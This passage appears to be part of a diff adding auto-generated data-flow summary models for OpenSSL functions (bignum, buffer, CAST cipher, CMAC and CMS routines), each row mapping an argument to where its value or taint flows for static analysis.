"dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*2].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_num_bits", "(const BIGNUM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_num_bits_word", "(unsigned long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_pseudo_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_rshift1", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_rshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_security_bits", "(int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_flags", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_sqr", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sqr", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_sub_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_swap", "(BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_swap", "(BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_ASN1_ENUMERATED", "(const BIGNUM *,ASN1_ENUMERATED *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_to_ASN1_ENUMERATED", "(const BIGNUM *,ASN1_ENUMERATED *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_to_ASN1_INTEGER", "(const BIGNUM *,ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_to_ASN1_INTEGER", "(const BIGNUM *,ASN1_INTEGER *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_ucmp", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*top]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_ucmp", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_usub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "BN_usub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "BN_with_flags", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max]", "taint", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow_clean", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BUF_MEM_grow_clean", "(BUF_MEM *,size_t)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "BUF_MEM_new_ex", "(unsigned long)", "", "Argument[0]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CAST_decrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_decrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_encrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_encrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CERTIFICATEPOLICIES_free", "(CERTIFICATEPOLICIES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CERTIFICATEPOLICIES_free", "(CERTIFICATEPOLICIES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMAC_CTX_copy", "(CMAC_CTX *,const CMAC_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CMAC_CTX_get0_cipher_ctx", "(CMAC_CTX *)", "", "Argument[*0].Field[**cctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMAC_CTX_get0_cipher_ctx", "(CMAC_CTX *)", "", "Argument[*0].Field[*cctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMAC_Final", "(CMAC_CTX *,unsigned char *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[**cctx].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**cctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*last_block]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*last_block]", "taint", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*last_block]", "taint", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*nlast_block]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tbl]", "taint", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_free", "(CMS_ContentInfo *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_free", "(CMS_ContentInfo *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_print_ctx", "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_print_ctx", "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_decrypt", "(CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", 